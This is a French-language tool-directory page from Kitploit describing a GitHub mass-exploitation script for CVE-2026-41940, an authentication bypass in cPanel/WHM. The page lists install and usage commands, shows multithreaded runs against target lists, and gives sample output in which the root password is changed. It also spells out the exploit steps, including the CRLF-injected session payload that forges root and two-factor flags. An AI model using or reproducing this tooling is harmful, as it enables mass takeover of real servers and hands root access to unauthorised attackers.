Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-41940 — Scanner de masse et outil d'exploitation massive pour la CVE-2026-41940 sur cPanel/WHM, conçu pour la validation automatisée des cibles et une exécution multithread à haute vitesse. | Kitploit
Outils/GitHubGitHub/jenderal92/cve-2026-41940
Scanners de VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionCommandement et ContrôleAuthentificationRed TeamingDéveloppement de Charges Utiles
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

4426il y a 4 moisPas encore vérifié

Scanner de masse et outil d'exploitation massive pour la CVE-2026-41940 sur cPanel/WHM, conçu pour la validation automatisée des cibles et une exécution multithread à haute vitesse.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-41940 - Exploit de masse de contournement d'authentification WHM/cPanel

43153

📋 Description

CVE-2026-41940 est une vulnérabilité critique de contournement d'authentification dans WHM/cPanel qui permet aux attaquants de contourner l'authentification et d'obtenir un accès root à un serveur sans identifiants valides. La vulnérabilité exploite une injection CRLF dans le mécanisme de gestion de session pour injecter des paramètres de session malveillants.

Cet outil offre des capacités d'exploitation de masse avec prise en charge du multithreading pour tester plusieurs cibles simultanément, avec une détection intelligente du succès et un filtrage automatique des cibles invalides.


🎯 Principales fonctionnalités

FonctionnalitéDescription
✅ Exploitation de masseScanne et exploite plusieurs cibles à partir d'un fichier de liste
🚀 MultithreadingNombre de threads configurable pour un scan plus rapide (défaut : 15)
🔐 Changement automatique de mot de passeChange le mot de passe root en Jenderal92 lors d'un exploit réussi
🛡️ Détection intelligente de succèsDétecte automatiquement divers formats de réponse de l'API WHM
⚠️ Filtrage des erreurs de licenceExclut les cibles avec des erreurs de licence invalide/illisible
📝 Sortie structuréeEnregistre uniquement les succès confirmés au format `domain:port
🛡️ Prise en charge SSL/TLSGère automatiquement les certificats auto-signés
🔄 Gestion de sessionExtraction automatique de session, injection de cookies et gestion des jetons
⏱️ Contrôle du délai d'attenteDélai d'attente de connexion configurable (défaut : 15 secondes)
🔍 Vérification pré-connexionVérifie la disponibilité du port avant la tentative d'exploitation
📊 Progression en temps réelAffiche la progression détaillée de chaque étape d'exploitation

📦 Prérequis

  • Python 2.7 (requis - PAS compatible avec Python 3.x)
  • Connexion Internet pour accéder aux cibles
  • Paquets Python requis :
pip install requests urllib3 futures

Ou utilisez requirements.txt :

requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Installation

# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Install dependencies
pip install -r requirements.txt

# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Utilisation

1. Préparer le fichier de cibles

Créez un fichier targets.txt avec une cible par ligne :

https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Remarque : Le port 2087 est le port WHM par défaut. S'il n'est pas spécifié, le port 2087 sera utilisé automatiquement. Le préfixe HTTP/HTTPS sera ajouté automatiquement s'il manque.

2. Exécuter l'exploit

Utilisation de base (paramètres par défaut)

python2 CVE-2026-41940.py targets.txt

Utilisation multithread

# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5

# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20

Nom d'hôte personnalisé

# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Délai d'attente personnalisé

# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Arguments de la ligne de commande

ArgumentDescriptionDéfautRequis
list_fileFichier contenant la liste des cibles (une par ligne)-✅ Oui
--threadsNombre de threads simultanés15❌ Non
--hostnameRemplace l'en-tête Host pour toutes les ciblesDétection automatique❌ Non
--timeoutDélai d'attente de connexion en secondes15❌ Non

📁 Format de sortie

Fichier de résultats (res.txt)

Seuls les exploits réussis confirmés sont enregistrés. Les cibles présentant des erreurs de licence, des échecs de changement de mot de passe ou des problèmes de connexion sont automatiquement exclues.

Format :

domain:port|root|Jenderal92

Exemple de sortie :

www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Scénarios exclus

Les cibles suivantes ne seront PAS enregistrées dans res.txt :

  • Erreurs de licence (Cannot Read License File)
  • Échecs de changement de mot de passe
  • Dépassements de délai ou refus de connexion
  • Cibles corrigées/sans WHM
  • Identifiants incorrects ou échecs de session

Sortie console

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 Comment fonctionne l'exploit

L'exploit se compose de 4 étapes principales avec vérification intelligente :

Étape 1 : Session de pré-authentification

[1] minting a preauth session...
  • Envoie une requête POST vers /login/?login_only=1 avec des identifiants invalides
  • Récupère le cookie whostmgrsession dans la réponse du serveur
  • Extrait la base de session en supprimant la partie finale ,<obhex>
  • Cela nous donne un format de session valide avec lequel travailler

Étape 2 : Attaque par injection CRLF

[2] sending the CRLF injection...
  • Envoie une requête GET avec un en-tête Authorization: Basic contenant une charge utile malveillante
  • La charge utile Base64 se décode en :
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • Les caractères CRLF (\r\n) injectent de faux paramètres de session
  • Cela trompe le serveur en lui faisant croire que l'authentification a réussi
  • Le serveur répond avec un HTTP 307 et un en-tête Location contenant le cp_security_token
Télécharger l’outil